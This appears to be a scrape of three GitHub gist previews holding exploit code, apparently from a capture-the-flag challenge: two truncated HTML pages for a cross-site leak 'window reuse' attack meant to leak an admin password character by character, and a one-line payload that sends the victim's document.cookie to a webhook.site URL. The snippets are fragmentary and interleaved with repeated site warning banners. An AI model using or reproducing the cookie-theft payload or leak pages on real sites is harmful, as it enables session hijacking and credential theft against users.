This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head><title>Window Reuse XS-Leak</title></head> | |
<body> | |
<h1>XS-Leak - Window Reuse Technique</h1> | |
<pre id="output"></pre> | |
<script> | |
const TARGET = 'https://127.0.0.1:9999/'; | |
const WEBHOOK = 'https://webhook.site/604a832e-fcc1-4774-a4a6-d91de8af9944/'; | |
const CHARSET = '0123456789abcdef'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head><title>Exploit</title></head> | |
<body> | |
<h1>Leaking admin password...</h1> | |
<pre id="output"></pre> | |
<script> | |
const output = document.getElementById('output'); | |
const TARGET = 'https://127.0.0.1:9999/'; | |
const CHARSET = '0123456789abcdef'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
fetch('https://webhook.site/e1428f43-a4d5-4b12-8998-8fad37233bbf?c=' + document.cookie); |